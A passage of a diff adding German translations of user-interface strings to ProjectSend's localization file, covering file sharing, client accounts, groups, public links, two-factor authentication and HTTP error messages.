(SHA-256)", + "Choose": "Wählen Sie", + "Choose :name": "Wählen Sie :name", + "Choose an account…": "Konto auswählen…", + "Choose File": "Datei wählen", + "Choose Image": "Bild wählen", + "Choose which notifications also send you an email. Everything always appears in the notification bell.": "Wählen Sie, welche Benachrichtigungen Ihnen zusätzlich per E-Mail zugehen. Alles erscheint ohnehin immer in der Benachrichtigungsglocke.", + "Clear": "Zurücksetzen", + "Click to copy": "Klicken Sie zum Kopieren", + "Client": "Kunde", + "Client account approved": "Kundenkonto genehmigt", + "Client account denied": "Kundenkonto abgelehnt", + "Client account edited": "Kundenkonto bearbeitet", + "Client Closed Request": "Client hat die Anfrage geschlossen", + "Client created.": "Kunde erstellt.", + "Client deleted.": "Kunde gelöscht.", + "Client Manager": "Kundenverwalter", + "Client settings": "Kundeneinstellungen", + "Client updated.": "Kunde aktualisiert.", + "Client welcome (staff-created account)": "Kundenbegrüßung (vom Team erstelltes Konto)", + "Clients": "Kunden", + "Clients and groups that can download this file": "Kunden und Gruppen, die diese Datei herunterladen können", + "Clients asking to join groups": "Kunden, die einer Gruppe beitreten möchten", + "Clients who registered themselves and are waiting for approval": "Kunden, die sich selbst registriert haben und auf Freigabe warten", + "Close": "Schließen", + "Collapse": "Zusammenklappen", + "Collapse All": "Alle zusammenklappen", + "Color": "Farbe", + "Columns": "Spalten", + "Comment": "Kommentar", + "Confirm": "Bestätigen", + "Confirm password": "Passwort bestätigen", + "Conflict": "Konflikt", + "Connect": "Verbinden", + "Connection Closed Without Response": "Verbindung ohne Antwort getrennt", + "Connection Timed Out": "Verbindungszeit überschritten", + "Continue": "Weiter", + "Copy URL": "URL kopieren", + "Copy link": "Link kopieren", + "Counters": "Zähler", + "Create": "Erstellen", + "Create :name": ":name erstellen", + "Create a client account": "Kundenkonto erstellen", + "Create a public link": "Öffentlichen Link erstellen", + "Create a staff account for this installation": "Team-Konto für diese Installation erstellen", + "Create administrator account": "Administratorkonto erstellen", + "Create an account for someone you share files with": "Konto für jemanden erstellen, mit dem Sie Dateien teilen", + "Create categories": "Kategorien erstellen", + "Create category": "Kategorie erstellen", + "Create client": "Kunden erstellen", + "Create clients": "Kunden erstellen", + "Create custom assets": "Eigene Assets erstellen", + "Create field": "Feld erstellen", + "Create folder": "Ordner erstellen", + "Create group": "Gruppe erstellen", + "Create groups": "Gruppen erstellen", + "Create link": "Link erstellen", + "Create own folders": "Eigene Ordner erstellen", + "Create role": "Rolle erstellen", + "Create system users": "Systembenutzer erstellen", + "Create user": "Benutzer erstellen", + "Created": "Erstellt", + "Created a public link for the file \":subject\"": "Hat einen öffentlichen Link für die Datei \":subject\" erstellt", + "Created by": "Erstellt von", + "Created the account \":subject\"": "Hat das Konto \":subject\" erstellt", + "Created the folder \":subject\"": "Hat den Ordner \":subject\" erstellt", + "Created the group \":subject\"": "Hat die Gruppe \":subject\" erstellt", + "Created the role \":subject\"": "Hat die Rolle \":subject\" erstellt", + "Custom": "Benutzerdefiniert", + "Custom assets": "Eigene Assets", + "Custom fields": "Benutzerdefinierte Felder", + "Custom links with an optional expiration date or download limit, no account needed.": "Individuelle Links mit optionalem Ablaufdatum oder Download-Limit, ganz ohne Konto.", + "Custom roles let you grant a precise set of permissions": "Mit benutzerdefinierten Rollen vergeben Sie einen genau zugeschnittenen Satz an Berechtigungen", + "Custom SMTP": "Eigener SMTP-Server", + "Customize the wording of any transactional email sent by this installation.": "Passen Sie den Wortlaut jeder Transaktions-E-Mail an, die diese Installation versendet.", + "Customized": "Angepasst", + "Dark": "Dunkel", + "Dashboard": "Übersicht", + "Dashboard widgets": "Übersichts-Widgets", + "Data retention and visibility for this installation": "Datenaufbewahrung und Sichtbarkeit für diese Installation", + "Database": "Datenbank", + "Date": "Datum", + "Days before a denied membership request can be made again": "Tage, bevor eine abgelehnte Mitgliedschaftsanfrage erneut gestellt werden kann", + "Deactivate your account now; it is permanently erased after :days days": "Deaktivieren Sie Ihr Konto jetzt; nach :days Tagen wird es endgültig gelöscht", + "Deactivated the account \":subject\"": "Hat das Konto \":subject\" deaktiviert", + "Default": "Standard", + "Defaults to the file name.": "Standardmäßig der Dateiname.", + "Delete": "Löschen", + "Delete :name": ":name löschen", + "Delete account": "Konto löschen", + "Delete all": "Alle löschen", + "Delete all failed": "Alle fehlgeschlagenen löschen", + "Delete all failed jobs?": "Alle fehlgeschlagenen Aufträge löschen?", + "Delete categories": "Kategorien löschen", + "Delete category": "Kategorie löschen", + "Delete category?": "Kategorie löschen?", + "Delete client": "Kunden löschen", + "Delete client?": "Kunden löschen?", + "Delete clients": "Kunden löschen", + "Delete custom assets": "Eigene Assets löschen", + "Delete field": "Feld löschen", + "Delete field?": "Feld löschen?", + "Delete file": "Datei löschen", + "Delete file?": "Datei löschen?", + "Delete files": "Dateien löschen", + "Delete folder": "Ordner löschen", + "Delete folder?": "Ordner löschen?", + "Delete group": "Gruppe löschen", + "Delete group?": "Gruppe löschen?", + "Delete groups": "Gruppen löschen", + "Delete others' files": "Dateien anderer löschen", + "Delete own files": "Eigene Dateien löschen", + "Delete role": "Rolle löschen", + "Delete role?": "Rolle löschen?", + "Delete selected": "Auswahl löschen", + "Delete selected files?": "Ausgewählte Dateien löschen?", + "Delete system users": "Systembenutzer löschen", + "Delete this file?": "Diese Datei löschen?", + "Delete user": "Benutzer löschen", + "Delete user?": "Benutzer löschen?", + "Deleted account": "Gelöschtes Konto", + "Deleted the account \":name\"": "Hat das Konto \":name\" gelöscht", + "Deleted the file \":name\"": "Hat die Datei \":name\" gelöscht", + "Deleted the folder \":name\" and its contents": "Hat den Ordner \":name\" samt Inhalt gelöscht", + "Deleted the group \":name\"": "Hat die Gruppe \":name\" gelöscht", + "Deleted the orphan file \":name\"": "Hat die verwaiste Datei \":name\" gelöscht", + "Deleted the role \":name\"": "Hat die Rolle \":name\" gelöscht", + "Denied the account request of \":name\"": "Hat die Kontoanfrage von \":name\" abgelehnt", + "Denied the membership of \":member\" to the group \":subject\"": "Hat die Mitgliedschaft von \":member\" in der Gruppe \":subject\" abgelehnt", + "Deny": "Ablehnen", + "Deny this request?": "Diese Anfrage ablehnen?", + "Description": "Beschreibung", + "Description (optional)": "Beschreibung (optional)", + "Detach": "Trennen", + "Details": "Details", + "Disable": "Deaktivieren", + "Disable two-factor authentication?": "Zwei-Faktor-Authentifizierung deaktivieren?", + "Disabled two-factor authentication": "Hat die Zwei-Faktor-Authentifizierung deaktiviert", + "Discard": "Verwerfen", + "Discourage search engines from indexing this site": "Suchmaschinen von der Indexierung dieser Website abhalten", + "Dismiss": "Ausblenden", + "Documentation": "Dokumentation", + "Don't have an account?": "Noch kein Konto?", + "Done": "Erledigt", + "Down": "Runter", + "Download": "Herunterladen", + "Download as zip": "Als ZIP herunterladen", + "Downloaded the file \":subject\"": "Hat die Datei \":subject\" heruntergeladen", + "Downloaded the file \":subject\" via a public link": "Hat die Datei \":subject\" über einen öffentlichen Link heruntergeladen", + "Downloaded the file \":subject\" via the public group listing": "Hat die Datei \":subject\" über das öffentliche Gruppenverzeichnis heruntergeladen", + "Downloads": "Downloads", + "Downloads are never recorded with an IP address.": "Downloads werden nie mit einer IP-Adresse protokolliert.", + "Drag to reorder": "Zum Neuordnen ziehen", + "Drag widgets here": "Widgets hierher ziehen", + "Dropdown": "Auswahlliste", + "Duplicate": "Duplizieren", + "Duplicate :name": ":name duplizieren", + "Edit": "Bearbeiten", + "Edit :name": ":name bearbeiten", + "Edit categories": "Kategorien bearbeiten", + "Edit clients": "Kunden bearbeiten", + "Edit custom assets": "Eigene Assets bearbeiten", + "Edit email templates": "E-Mail-Vorlagen bearbeiten", + "Edit groups": "Gruppen bearbeiten", + "Edit others' files": "Dateien anderer bearbeiten", + "Edit own files": "Eigene Dateien bearbeiten", + "Edit system settings": "Systemeinstellungen bearbeiten", + "Edit system users": "Systembenutzer bearbeiten", + "Edit this client account": "Dieses Kundenkonto bearbeiten", + "Edit this staff account": "Dieses Team-Konto bearbeiten", + "Edition": "Edition", + "Email": "E-Mail", + "Email address": "E-Mail-Adresse", + "Email settings": "E-Mail-Einstellungen", + "Email template reset to default.": "E-Mail-Vorlage auf den Standard zurückgesetzt.", + "Email template saved.": "E-Mail-Vorlage gespeichert.", + "Email templates": "E-Mail-Vorlagen", + "Empty file": "Leere Datei", + "Enable": "Aktivieren", + "Enable the public directory page": "Öffentliche Verzeichnisseite aktivieren", + "Enable two-factor authentication": "Zwei-Faktor-Authentifizierung aktivieren", + "Enabled two-factor authentication": "Hat die Zwei-Faktor-Authentifizierung aktiviert", + "Encrypted environment file already exists.": "Verschlüsselte Umgebungsdatei ist bereits vorhanden.", + "Encrypted environment file not found.": "Verschlüsselte Umgebungsdatei nicht gefunden.", + "Encryption": "Verschlüsselung", + "Enter one of your recovery codes.": "Geben Sie einen Ihrer Wiederherstellungscodes ein.", + "Enter the six-digit code from your authenticator app.": "Geben Sie den sechsstelligen Code aus Ihrer Authenticator-App ein.", + "Enter your email and password below to log in": "Geben Sie unten Ihre E-Mail-Adresse und Ihr Passwort ein, um sich anzumelden", + "Environment": "Umgebung", + "Environment file already exists.": "Umgebungsdatei ist bereits vorhanden.", + "Environment file not found.": "Umgebungsdatei nicht gefunden.", + "errors": "Fehler", + "Every comment on files you can see, newest first": "Alle Kommentare zu Dateien, die Sie sehen können, neueste zuerst", + "Every download records the IP address of whoever downloaded it.": "Bei jedem Download wird die IP-Adresse des Herunterladenden protokolliert.", + "Everyone": "Alle", + "Everything that happened on this installation, newest first": "Alles, was auf dieser Installation passiert ist, neueste zuerst", + "Expand": "Erweitern", + "Expand All": "Alle erweitern", + "Expectation Failed": "Erwartung gescheitert", + "Expires": "Läuft ab", + "Expires :date": "Läuft am :date ab", + "Explanation": "Erläuterung", + "Export": "Exportieren", + "Export :name": ":name exportieren", + "Export CSV": "CSV exportieren", + "External storage": "Externer Speicher", + "Extra fields shown on the client create and edit screens.": "Zusätzliche Felder auf den Seiten zum Erstellen und Bearbeiten von Kunden.", + "Failed Dependency": "Fehlgeschlagene Abhängigkeit", + "Failed to send: :error": "Senden fehlgeschlagen: :error", + "File": "Datei", + "File: :name": "Datei: :name", + "File deleted.": "Datei gelöscht.", + "File imported.": "Datei importiert.", + "File name": "Dateiname", + "File shared with a client": "Datei mit einem Kunden geteilt", + "File updated.": "Datei aktualisiert.", + "File uploaded.": "Datei hochgeladen.", + "Files": "Dateien", + "Files can only be assigned to clients or groups.": "Dateien können nur Kunden oder Gruppen zugewiesen werden.", + "Files shared with you": "Mit Ihnen geteilte Dateien", + "Files sitting on disk with no matching record — from an interrupted upload, a restore, or manual filesystem access.": "Dateien, die ohne passenden Datenbankeintrag auf der Festplatte liegen — aus einem abgebrochenen Upload, einer Wiederherstellung oder manuellen Eingriffen im Dateisystem.", + "Flat labels for files — independent of folders. A file can have several.": "Flache Bezeichnungen für Dateien — unabhängig von Ordnern. Eine Datei kann mehrere haben.", + "Folder": "Ordner", + "Folder: :name": "Ordner: :name", + "Folder created.": "Ordner erstellt.", + "Folder deleted.": "Ordner gelöscht.", + "Folder shared with a client": "Ordner mit einem Kunden geteilt", + "Folders can only be shared with clients or groups.": "Ordner können nur mit Kunden oder Gruppen geteilt werden.", + "Folders cannot be nested more than :max levels deep.": "Ordner können höchstens :max Ebenen tief verschachtelt werden.", + "Forbidden": "Verboten", + "Forgot password?": "Passwort vergessen?", + "Found": "Gefunden", + "From": "Von", + "From address": "Absenderadresse", + "From name": "Absendername", + "Gateway Timeout": "Gateway-Zeitüberschreitung", + "General": "Allgemein", + "General settings": "Allgemeine Einstellungen", + "Go Home": "Zur Startseite", + "Go to page :page": "Gehe zur Seite :page", + "Go to the login form": "Zum Anmeldeformular", + "Gone": "Nicht mehr verfügbar", + "Gray": "Grau", + "Green": "Grün", + "Group": "Gruppe", + "Group created.": "Gruppe erstellt.", + "Group deleted.": "Gruppe gelöscht.", + "Group membership approved": "Gruppenmitgliedschaft genehmigt", + "Group membership denied": "Gruppenmitgliedschaft abgelehnt", + "Group updated.": "Gruppe aktualisiert.", + "Groups": "Gruppen", + "Groups clients can request to join at registration": "Gruppen, deren Beitritt Kunden bei der Registrierung anfragen können", + "Groups let you assign files to several clients at once": "Mit Gruppen weisen Sie Dateien mehreren Kunden auf einmal zu", + "Hello :name,": "Hallo :name,", + "Hello, :name": "Hallo, :name", + "Hello!": "Hallo!", + "Here is what has been shared with you": "Das wurde mit Ihnen geteilt", + "Hide": "Verstecken", + "Hide :name": ":name ausblenden", + "Home": "Startseite", + "Host": "Host", + "How client accounts are created on this installation": "Wie Kundenkonten auf dieser Installation entstehen", + "How long a self-deleted account is kept before it is permanently erased.": "Wie lange ein selbst gelöschtes Konto aufbewahrt wird, bevor es endgültig entfernt wird.", + "How many files/folders were shared at once": "Wie viele Dateien/Ordner auf einmal geteilt wurden", + "HTTP Version Not Supported": "HTTP Version nicht unterstützt", + "I'm a teapot": "Ich bin eine Teekanne", + "If this account is no longer available when an erasure runs, the files are deleted instead of being left ownerless.": "Wenn dieses Konto zum Zeitpunkt der Löschung nicht mehr verfügbar ist, werden die Dateien gelöscht, statt ohne Eigentümer zurückzubleiben.", + "If you did not create an account, no further action is required.": "Wenn Sie kein Konto erstellt haben, sind keine weiteren Handlungen nötig.", + "If you did not request a password reset, no further action is required.": "Wenn Sie kein Zurücksetzen des Passworts beantragt haben, sind keine weiteren Handlungen nötig.", + "If you received this, your email configuration is working.": "Wenn Sie diese Nachricht erhalten haben, funktioniert Ihre E-Mail-Konfiguration.", + "If you're having trouble clicking the \":actionText\" button, copy and paste the URL below\ninto your web browser:": "Sollten Sie Schwierigkeiten haben, die Schaltfläche \":actionText\" zu klicken, kopieren Sie den nachfolgenden Link\n in Ihre Adresszeile des Browsers.", + "IM Used": "IM verwendet", + "Image": "Bild", + "Impersonate": "Imitieren", + "Impersonation": "Identitätswechsel", + "Import": "Importieren", + "Import :name": "Importieren Sie :name", + "Import orphan files": "Verwaiste Dateien importieren", + "Import selected": "Auswahl importieren", + "Imported the orphan file \":subject\"": "Hat die verwaiste Datei \":subject\" importiert", + "Inactive": "Inaktiv", + "Include this file when a group it's shared with is public.": "Diese Datei einbeziehen, wenn eine Gruppe, mit der sie geteilt ist, öffentlich ist.", + "Insert": "Einfügen", + "Installed ProjectSend": "Hat ProjectSend installiert", + "Insufficient Storage": "Nicht genügend Speicherplatz", + "Internal Server Error": "Interner Serverfehler", + "Introduction": "Einführung", + "Invalid filename.": "Ungültiger Dateiname.", + "Invalid JSON was returned from the route.": "Von der Route wurde ein ungültiger JSON-Code zurückgegeben.", + "Invalid SSL Certificate": "Ungültiges SSL-Zertifikat", + "Label": "Bezeichnung", + "Last modified": "Zuletzt geändert", + "Latest files": "Neueste Dateien", + "Leave": "Verlassen", + "Leave empty for a link that never expires.": "Leer lassen für einen Link, der nie abläuft.", + "Leave empty for unlimited downloads.": "Leer lassen für unbegrenzte Downloads.", + "Leave group": "Gruppe verlassen", + "Leave this group?": "Diese Gruppe verlassen?", + "Left the group \":subject\"": "Hat die Gruppe \":subject\" verlassen", + "length": "Länge", + "Length Required": "Längenangabe erforderlich", + "Library": "Bibliothek", + "Light": "Hell", + "Like": "Wie", + "Limit download counts": "Anzahl der Downloads begrenzen", + "Limit to assigned clients": "Auf zugewiesene Kunden beschränken", + "Limits for files uploaded to this installation": "Grenzwerte für Dateien, die auf diese Installation hochgeladen werden", + "Link unavailable": "Link nicht verfügbar", + "Load": "Belastung", + "Loading…": "Wird geladen…", + "Local storage": "Lokaler Speicher", + "Localize": "Lokalisieren", + "Location": "Standort", + "Locked": "Gesperrt", + "Log in": "Anmelden", + "Log In": "Einloggen", + "Log in to your account": "Bei Ihrem Konto anmelden", + "Log out": "Abmelden", + "Log Out": "Abmelden", + "Logged in": "Hat sich angemeldet", + "Logged out": "Hat sich abgemeldet", + "Login": "Anmelden", + "Logout": "Abmelden", + "Loop Detected": "Endlosschleife erkannt", + "Mail provider settings saved.": "Einstellungen des E-Mail-Anbieters gespeichert.", + "Mailgun": "Mailgun", + "Maintenance Mode": "Wartungsmodus", + "Manage custom fields": "Benutzerdefinierte Felder verwalten", + "Manage public links from the edit page.": "Öffentliche Links verwalten Sie auf der Bearbeitungsseite.", + "Manage system users and roles": "Systembenutzer und Rollen verwalten", + "Manage updates": "Updates verwalten", + "Manage your profile and account settings": "Verwalten Sie Ihr Profil und Ihre Kontoeinstellungen", + "Mark all read": "Alle als gelesen markieren", + "Mark as read": "Als gelesen markieren", + "Mark as unread": "Als ungelesen markieren", + "Max downloads": "Max. Downloads", + "Maximum file size (MB)": "Maximale Dateigröße (MB)", + "Member": "Mitglied", + "Members": "Mitglieder", + "Members of this role only see files and folders belonging to the clients assigned to them, plus their own uploads.": "Mitglieder dieser Rolle sehen nur Dateien und Ordner der ihnen zugewiesenen Kunden sowie ihre eigenen Uploads.", + "Membership request approved.": "Mitgliedschaftsanfrage genehmigt.", + "Membership request denied.": "Mitgliedschaftsanfrage abgelehnt.", + "Membership requests": "Mitgliedschaftsanfragen", + "Membership requests are reviewed by an administrator": "Mitgliedschaftsanfragen werden von einem Administrator geprüft", + "Method Not Allowed": "Methode nicht erlaubt", + "Minutes until the reset link expires": "Minuten, bis der Zurücksetzen-Link abläuft", + "Misdirected Request": "Fehlgeleitete Anfrage", + "Modified": "Geändert", + "Moved Permanently": "Permanent verschoben", + "Moved the folder \":subject\"": "Hat den Ordner \":subject\" verschoben", + "Multi-line text": "Mehrzeiliger Text", + "Multi-Status": "Multistatus", + "Multiple Choices": "Mehrere Auswahlmöglichkeiten", + "Multiple files/folders shared at once (digest)": "Mehrere Dateien/Ordner auf einmal geteilt (Zusammenfassung)", + "My files": "Meine Dateien", + "My groups": "Meine Gruppen", + "Name": "Name", + "Name or description": "Name oder Beschreibung", + "Name or email address": "Name oder E-Mail-Adresse", + "Never": "Nie", + "Never expires": "Läuft nie ab", + "Network Authentication Required": "Netzwerkauthentifizierung erforderlich", + "Network Connect Timeout Error": "Zeitüberschreitungsfehler bei Netzwerkverbindung", + "Network Read Timeout Error": "Zeitüberschreitungsfehler beim Lesen des Netzwerks", + "New": "Neu", + "New :name": "Neu :name", + "New category": "Neue Kategorie", + "New client": "Neuer Kunde", + "New client registrations and client uploads are sent here — at least one address is required.": "Neue Kundenregistrierungen und Kunden-Uploads gehen hierhin — mindestens eine Adresse ist erforderlich.", + "New field": "Neues Feld", + "New folder": "Neuer Ordner", + "New group": "Neue Gruppe", + "New membership request from :client for the group \":group\".": "Neue Mitgliedschaftsanfrage von :client für die Gruppe \":group\".", + "New password (leave blank to keep current)": "Neues Passwort (leer lassen, um das aktuelle zu behalten)", + "New role": "Neue Rolle", + "New user": "Neuer Benutzer", + "News": "Neuigkeiten", + "Next": "Weiter", + "No": "Nein", + "No activity matches these filters.": "Keine Aktivität entspricht diesen Filtern.", + "No activity recorded yet.": "Noch keine Aktivität aufgezeichnet.", + "No categories match your search.": "Keine Kategorie entspricht Ihrer Suche.", + "No categories yet.": "Noch keine Kategorien.", + "No clients match these filters.": "Kein Kunde entspricht diesen Filtern.", + "No clients yet.": "Noch keine Kunden.", + "No comments match these filters.": "Kein Kommentar entspricht diesen Filtern.", + "No Content": "Kein Inhalt", + "No custom fields yet.": "Noch keine benutzerdefinierten Felder.", + "No downloads recorded yet.": "Noch keine Downloads aufgezeichnet.", + "No fields match your search.": "Kein Feld entspricht Ihrer Suche.", + "No files have been shared with you yet.": "Es wurden noch keine Dateien mit Ihnen geteilt.", + "No files here yet.": "Hier gibt es noch keine Dateien.", + "No files or folders match your search.": "Keine Datei und kein Ordner entspricht Ihrer Suche.", + "No files yet. Upload the first one.": "Noch keine Dateien. Laden Sie die erste hoch.", + "No folder": "Kein Ordner", + "No groups match these filters.": "Keine Gruppe entspricht diesen Filtern.", + "No groups yet.": "Noch keine Gruppen.", + "No members yet.": "Noch keine Mitglieder.", + "No more categories": "Keine weiteren Kategorien", + "No more clients to add": "Keine weiteren Kunden zum Hinzufügen", + "No news yet.": "Noch keine Neuigkeiten.", + "No orphan files found.": "Keine verwaisten Dateien gefunden.", + "No orphan files match your search.": "Keine verwaiste Datei entspricht Ihrer Suche.", + "No pending requests.": "Keine offenen Anfragen.", + "No public links yet.": "Noch keine öffentlichen Links.", + "No recipients added yet.": "Noch keine Empfänger hinzugefügt.", + "No requests match your search.": "Keine Anfrage entspricht Ihrer Suche.", + "No roles match this filter.": "Keine Rolle entspricht diesem Filter.", + "No size limit. Uploads can be paused and resume automatically after interruptions.": "Keine Größenbeschränkung. Uploads können pausiert werden und laufen nach Unterbrechungen automatisch weiter.", + "No users match these filters.": "Kein Benutzer entspricht diesen Filtern.", + "No users yet.": "Noch keine Benutzer.", + "Nobody (optional for everyone)": "Niemand (für alle optional)", + "Non-Authoritative Information": "Nicht maßgebende Informationen", + "None": "Keine", + "None of the selected items could be found.": "Keines der ausgewählten Elemente wurde gefunden.", + "Not Acceptable": "Nicht akzeptierbar", + "Not Extended": "Nicht erweitert", + "Not Found": "Nicht gefunden", + "Not Implemented": "Nicht implementiert", + "Not Modified": "Nicht modifiziert", + "Not shared with anyone yet.": "Noch mit niemandem geteilt.", + "Notification settings": "Benachrichtigungseinstellungen", + "Notifications": "Benachrichtigungen", + "Nothing is publicly shared yet.": "Es ist noch nichts öffentlich geteilt.", + "of": "von", + "OK": "OK", + "One option per line": "Eine Option pro Zeile", + "Only clients can be group members.": "Nur Kunden können Gruppenmitglieder sein.", + "Only clients can comment here.": "Hier können nur Kunden kommentieren.", + "Only for anonymous downloads": "Nur bei anonymen Downloads", + "Only people who are signed in can comment here.": "Hier können nur angemeldete Personen kommentieren.", + "Only staff can comment here.": "Hier kann nur das Team kommentieren.", + "Only the wording below is editable — any button or link in this email stays fixed.": "Nur der Wortlaut unten ist bearbeitbar — Schaltflächen und Links in dieser E-Mail bleiben unverändert.", + "Open": "Offen", + "Open folder": "Ordner öffnen", + "Open in a current window": "In einem aktuellen Fenster öffnen", + "Open in a new window": "In einem neuen Fenster öffnen", + "Open in a parent frame": "In einem übergeordneten Frame öffnen", + "Open in the topmost frame": "Im obersten Rahmen öffnen", + "Open on the website": "Auf der Website öffnen", + "Open public listing": "Öffentliches Verzeichnis öffnen", + "Options": "Optionen", + "Or enter this key manually:": "Oder geben Sie diesen Schlüssel manuell ein:", + "Orange": "Orange", + "Origin Is Unreachable": "Quelle ist nicht erreichbar", + "Outgoing email": "Ausgehende E-Mail", + "Outgoing email theme": "Design für ausgehende E-Mails", + "Page :current of :last": "Seite :current von :last", + "Page Expired": "Seite abgelaufen", + "Pagination Navigation": "Seiten-Navigation", + "Partial Content": "Teilinhalt", + "Password": "Passwort", + "Password reset": "Passwort zurücksetzen", + "Path": "Pfad", + "Payload Too Large": "Nutzlast zu groß", + "Payment Required": "Zahlung erforderlich", + "Pending approval": "Warten auf Freigabe", + "Permanent Redirect": "Permanente Weiterleitung", + "Permanently erased a deleted account": "Hat ein gelöschtes Konto endgültig entfernt", + "Permissions": "Berechtigungen", + "Pink": "Rosa", + "Platform": "Plattform", + "Please click the button below to verify your email address.": "Bitte klicken Sie auf die Schaltfläche, um Ihre E-Mail-Adresse zu bestätigen.", + "Port": "Port", + "Postmark": "Postmark", + "Powered by ProjectSend": "Bereitgestellt von ProjectSend", + "Precondition Failed": "Vorbedingung fehlgeschlagen", + "Precondition Required": "Voraussetzung erforderlich", + "Preparing your download…": "Ihr Download wird vorbereitet…", + "Preview": "Vorschau", + "Preview: :theme": "Vorschau: :theme", + "Previous": "Zurück", + "Price": "Preis", + "Privacy": "Datenschutz", + "Privacy settings": "Datenschutzeinstellungen", + "Private": "Privat", + "Processing": "In Bearbeitung", + "Profile": "Profil", + "Profile information was updated": "Profilinformationen wurden aktualisiert", + "ProjectSend :latestVersion is available (you have :currentVersion)": "ProjectSend :latestVersion ist verfügbar (Sie haben :currentVersion)", + "ProjectSend is free, open source software for sending files to your clients. It is released under the :license, which means you are free to use, study, change and share it.": "ProjectSend ist freie Open-Source-Software, um Dateien an Ihre Kunden zu senden. Sie steht unter der :license, das heißt, Sie dürfen sie nutzen, untersuchen, verändern und weitergeben.", + "ProjectSend is ready": "ProjectSend ist startklar", + "ProjectSend was installed": "ProjectSend wurde installiert", + "Provider": "Anbieter", + "Proxy Authentication Required": "Proxy-Authentifizierung erforderlich", + "Public": "Öffentlich", + "Public file": "Öffentliche Datei", + "Public files": "Öffentliche Dateien", + "Public group": "Öffentliche Gruppe", + "Public group listing": "Öffentliches Gruppenverzeichnis", + "Public groups": "Öffentliche Gruppen", + "Public link": "Öffentlicher Link", + "Public link created.": "Öffentlicher Link erstellt.", + "Public link revoked.": "Öffentlicher Link widerrufen.", + "Public links": "Öffentliche Links", + "Public listing": "Öffentliches Verzeichnis", + "Public listing settings": "Einstellungen für das öffentliche Verzeichnis", + "Public listing URL": "URL des öffentlichen Verzeichnisses", + "Public pages & portal": "Öffentliche Seiten & Portal", + "Public pages and client portal theme": "Design für öffentliche Seiten und Kundenportal", + "Published": "Veröffentlicht", + "Purple": "Violett", + "Quota": "Kontingent", + "Railgun Error": "Railgun-Fehler", + "Range Not Satisfiable": "Bereich nicht erfüllbar", + "Read more": "Mehr erfahren", + "Reassign them to": "Neu zuweisen an", + "Recent activity": "Letzte Aktivität", + "Recipient": "Empfänger", + "Record": "Aufzeichnen", + "Record IP addresses for downloads": "IP-Adressen bei Downloads protokollieren", + "Recovery code": "Wiederherstellungscode", + "Red": "Rot", + "Regards,": "Mit freundlichen Grüßen,", + "Regenerate recovery codes": "Wiederherstellungscodes neu erzeugen", + "Regenerate recovery codes?": "Wiederherstellungscodes neu erzeugen?", + "Regenerated two-factor recovery codes": "Hat die Zwei-Faktor-Wiederherstellungscodes neu erzeugt", + "Register": "Registrieren", + "Register to access the files shared with you.": "Registrieren Sie sich, um auf die mit Ihnen geteilten Dateien zuzugreifen.", + "Register to request access. An administrator will review your request.": "Registrieren Sie sich, um Zugang anzufragen. Ein Administrator prüft Ihre Anfrage.", + "Registered a new client account": "Hat ein neues Kundenkonto registriert", + "Related": "Verwandt", + "Remember me": "Angemeldet bleiben", + "Remove": "Entfernen", + "Removed \":member\" from the group \":subject\"": "Hat \":member\" aus der Gruppe \":subject\" entfernt", + "Removed the file \":subject\" from :target": "Hat die Datei \":subject\" von :target entfernt", + "Rename": "Umbenennen", + "Renamed the folder \":subject\"": "Hat den Ordner \":subject\" umbenannt", + "Repository": "Repository", + "Request declined": "Anfrage abgelehnt", + "Request Header Fields Too Large": "Anfrage-Header-Felder zu groß", + "Request membership": "Mitgliedschaft anfragen", + "Request membership to groups (optional)": "Mitgliedschaft in Gruppen anfragen (optional)", + "Request Timeout": "Zeitüberschreitung der Anfrage", + "Requested": "Angefragt", + "Requested membership to the group \":subject\"": "Hat die Mitgliedschaft in der Gruppe \":subject\" angefragt", + "Requested memberships wait in the membership requests queue for approval.": "Angefragte Mitgliedschaften warten in der Warteschlange auf Freigabe.", + "Require two-factor authentication": "Zwei-Faktor-Authentifizierung verlangen", + "Required": "Erforderlich", + "Reset Content": "Inhalt zurücksetzen", + "Reset Password": "Passwort zurücksetzen", + "Reset Password Notification": "Benachrichtigung zum Zurücksetzen des Passworts", + "Reset this email to its default wording?": "Diese E-Mail auf den Standardwortlaut zurücksetzen?", + "Reset to default": "Auf Standard zurücksetzen", + "Restore": "Wiederherstellen", + "Restore :name": ":name wiederherstellen", + "Restricted extension": "Eingeschränkte Dateiendung", + "Result": "Ergebnis", + "results": "Ergebnissen", + "Review membership requests": "Mitgliedschaftsanfragen prüfen", + "Review pending requests": "Offene Anfragen prüfen", + "Retry With": "Wiederhole mit", + "Revoke": "Widerrufen", + "Revoke link": "Link widerrufen", + "Revoke this public link?": "Diesen öffentlichen Link widerrufen?", + "Revoked a public link for the file \":subject\"": "Hat einen öffentlichen Link für die Datei \":subject\" widerrufen", + "Role": "Rolle", + "Role created.": "Rolle erstellt.", + "Role deleted.": "Rolle gelöscht.", + "Role name": "Rollenname", + "Role updated.": "Rolle aktualisiert.", + "Roles": "Rollen", + "Sample email": "Beispiel-E-Mail", + "Save": "Speichern", + "Save :name": "Sparen Sie :name", + "Save & Close": "Speichern und schließen", + "Save & Return": "Speichern und zurückgeben", + "Save your changes to make this live — until then, these buttons point to a page that isn't published yet.": "Speichern Sie Ihre Änderungen, um dies live zu schalten — bis dahin verweisen diese Schaltflächen auf eine noch nicht veröffentlichte Seite.", + "Saved": "Gespeichert", + "Scan this QR code with your authenticator app, then enter the six-digit code to confirm.": "Scannen Sie diesen QR-Code mit Ihrer Authenticator-App und geben Sie zur Bestätigung den sechsstelligen Code ein.", + "Scanning:": "Wird durchsucht:", + "Scheduled tasks": "Geplante Aufgaben", + "Search": "Suchen", + "Search :name": "Suche :name", + "Search all files and folders": "Alle Dateien und Ordner durchsuchen", + "Search by client or group": "Nach Kunde oder Gruppe suchen", + "Search by name": "Nach Namen suchen", + "Search by name or email address": "Nach Name oder E-Mail-Adresse suchen", + "Search by path": "Nach Pfad suchen", + "Search categories": "Kategorien durchsuchen", + "Search fields": "Felder durchsuchen", + "Search your files": "Ihre Dateien durchsuchen", + "Security": "Sicherheit", + "Security settings": "Sicherheitseinstellungen", + "See Other": "Siehe andere Seite", + "Select": "Wählen Sie", + "Select :name": ":name auswählen", + "Select a client or group": "Kunde oder Gruppe auswählen", + "Select a client to add": "Kunden zum Hinzufügen auswählen", + "Select a role": "Rolle auswählen", + "Select All": "Wählen Sie Alle", + "Select an option": "Option auswählen", + "Select at least one file or folder.": "Wählen Sie mindestens eine Datei oder einen Ordner aus.", + "Self-registered clients join this group automatically.": "Selbst registrierte Kunden treten dieser Gruppe automatisch bei.", + "Send": "Schicken", + "Send email notifications": 